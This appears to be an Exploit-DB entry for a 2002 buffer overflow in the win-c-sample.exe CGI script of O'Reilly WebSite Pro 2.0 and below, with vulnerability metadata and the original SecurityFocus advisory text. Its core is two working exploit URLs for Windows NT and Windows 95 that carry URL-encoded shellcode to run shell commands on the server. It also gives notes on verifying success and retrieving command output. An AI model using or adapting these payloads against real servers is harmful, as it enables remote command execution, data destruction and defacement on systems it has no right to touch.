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vendor:
WebSite Pro
by:
SecurityFocus
7.5
CVSS
HIGH
Buffer Overflow
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: WebSite Pro
Affected Version From: 2.0 and below
Affected Version To: 2.0 and below
Patch Exists: YES
Related CWE: N/A
CPE: a:oreilly:website_pro
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 95/NT
2002

Buffer Overflow in O’Reilly WebSite (Pro)

O'Reilly WebSite (Pro) is a Windows 95/NT Web Server package. Versions 2.0 and below contained a vulnerable sample script, win-c-sample.exe, placed by default in /cgi-shl/ off the web root directory. This program is vulnerable to a buffer overflow, allowing for execution of arbitrary commands on the host machine with the privileges of the web server. Consequences of successful exploitation could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities. The example dos commands just copy the WebSite's readme.1st file, so you can later check if the exploit worked by trying http://website.host/x1.htm. Note that the server should respond to these exploits with an 'Error: no blank line separating header and data', because of the '1 file(s) copied' message appearing without a blank line before it (which is required for HTTP; if you need a command's output, you can redirect it to a file, and get that file via HTTP with a separate request).

Mitigation:

Ensure that all input is properly validated and sanitized before being used in any operations.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2078/info

O'Reilly WebSite (Pro) is a Windows 95/NT Web Server package. Versions 2.0 and below contained a vulnerable sample script, win-c-sample.exe, placed by default in /cgi-shl/ off the web root directory. This program is vulnerable to a buffer overflow, allowing for execution of arbitrary commands on the host machine with the privileges of the web server. Consequences of successful exploitation could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities. 

Windows NT (versions unspecified):
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\y[X%050PzPA9%01u%F0%83%E9%10%
FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy
_\WebSite\readme.1st_\WebSite\htdocs\x1.htm

Windows 95:
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%0
3%CA%FF%D1c:\command.com_/c_copy_\WebSite\readme.1st_\WebSite\htdocsx1.htm

The example dos commands just copy the WebSite's readme.1st file, so you
can later check if the exploit worked by trying http://website.host/x1.htm.
Note that the server should respond to these exploits with an "Error: no
blank line separating header and data", because of the "1 file(s) copied"
message appearing without a blank line before it (which is required for
HTTP; if you need a command's output, you can redirect it to a file, and
get that file via HTTP with a separate request).